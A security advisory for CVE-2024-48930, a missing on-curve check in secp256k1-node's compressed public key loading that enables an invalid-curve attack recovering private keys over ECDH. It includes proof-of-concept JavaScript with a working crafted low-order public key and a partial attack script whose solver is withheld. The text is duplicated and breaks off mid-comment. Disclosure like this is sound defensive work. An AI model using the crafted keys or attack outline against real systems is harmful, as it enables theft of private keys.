CVE-2024-48930

secp256k1-node is a Node.js binding for an Optimized C library for EC operations on curve secp256k1. In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve. Prior to versions 5.0.1, 4.0.4, and 3.8.1, however, loadCompressedPublicKey is missing that check. That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power. Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak. Versions 5.0.1, 4.0.4, and 3.8.1 contain a fix for the issue.

secp256k1-node is a Node.js binding for an Optimized C library for EC operations on curve secp256k1. In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve. Prior to versions 5.0.1, 4.0.4, and 3.8.1, however, loadCompressedPublicKey is missing that check. That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power. Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak. Versions 5.0.1, 4.0.4, and 3.8.1 contain a fix for the issue.

Summary

In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L37-L39

loadCompressedPublicKey is, however, missing that check: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L17-L19

That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power

Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak

Details

The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable

Those output values correspond to remainders which can be then combined with Chinese remainder theorem to restore the original value

Endomorphism-based multiplication only slightly hinders restoration and does not affect the fact that the result is low-order

10 different malicious X values could be chosen so that the overall extracted information is 238.4 bits out of 256 bit private key, and the rest is trivially bruteforcable with an additional 11th public key (which might be valid or not -- not significant)

The attacker does not need to receive the ECDH value, they only need to be able to confirm it against a list of possible candidates, e.g. check if using it to decipher block/stream cipher would work -- and that could all be done locally on the attacker side

PoC

Example public key

This key has order 39 One of the possible outcomes for it is a throw, 38 are predictable ECDH values Keys used in full attack have higher order (starting from ~20000), so are very unlikely to cause an error

import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'

const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')

const seen = new Set()
for (let i = 0; i < 1000; i++) {
  try {
    seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
  } catch {
    seen.add('failure also is an outcome')
  }
}

console.log(seen.size) // 39

Full attack

This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:

// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'

import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'

const privateKey = randomBytes(32)

// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver

// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
  const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
  assert(letMeIn instanceof Uint8Array) // true
  assert(secp256k1.publicKeyVerify(letMeIn)) // true

  // Returning ecdh value is not necessary but is used in this demo for simplicity
  // Solver needs to _confirm_ an ecdh value…

secp256k1-node is a Node.js binding for an Optimized C library for EC operations on curve secp256k1. In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve. Prior to versions 5.0.1, 4.0.4, and 3.8.1, however, loadCompressedPublicKey is missing that check. That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power. Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak. Versions 5.0.1, 4.0.4, and 3.8.1 contain a fix for the issue.

secp256k1-node is a Node.js binding for an Optimized C library for EC operations on curve secp256k1. In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve. Prior to versions 5.0.1, 4.0.4, and 3.8.1, however, loadCompressedPublicKey is missing that check. That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power. Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak. Versions 5.0.1, 4.0.4, and 3.8.1 contain a fix for the issue.

Summary

In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L37-L39

loadCompressedPublicKey is, however, missing that check: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L17-L19

That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power

Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak

Details

The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable

Those output values correspond to remainders which can be then combined with Chinese remainder theorem to restore the original value

Endomorphism-based multiplication only slightly hinders restoration and does not affect the fact that the result is low-order

10 different malicious X values could be chosen so that the overall extracted information is 238.4 bits out of 256 bit private key, and the rest is trivially bruteforcable with an additional 11th public key (which might be valid or not -- not significant)

The attacker does not need to receive the ECDH value, they only need to be able to confirm it against a list of possible candidates, e.g. check if using it to decipher block/stream cipher would work -- and that could all be done locally on the attacker side

PoC

Example public key

This key has order 39 One of the possible outcomes for it is a throw, 38 are predictable ECDH values Keys used in full attack have higher order (starting from ~20000), so are very unlikely to cause an error

import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'

const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')

const seen = new Set()
for (let i = 0; i < 1000; i++) {
  try {
    seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
  } catch {
    seen.add('failure also is an outcome')
  }
}

console.log(seen.size) // 39

Full attack

This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:

// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'

import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'

const privateKey = randomBytes(32)

// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver

// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
  const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
  assert(letMeIn instanceof Uint8Array) // true
  assert(secp256k1.publicKeyVerify(letMeIn)) // true

  // Returning ecdh value is not necessary but is used in this demo for simplicity
  // Solver needs to _confirm_ an ecdh value…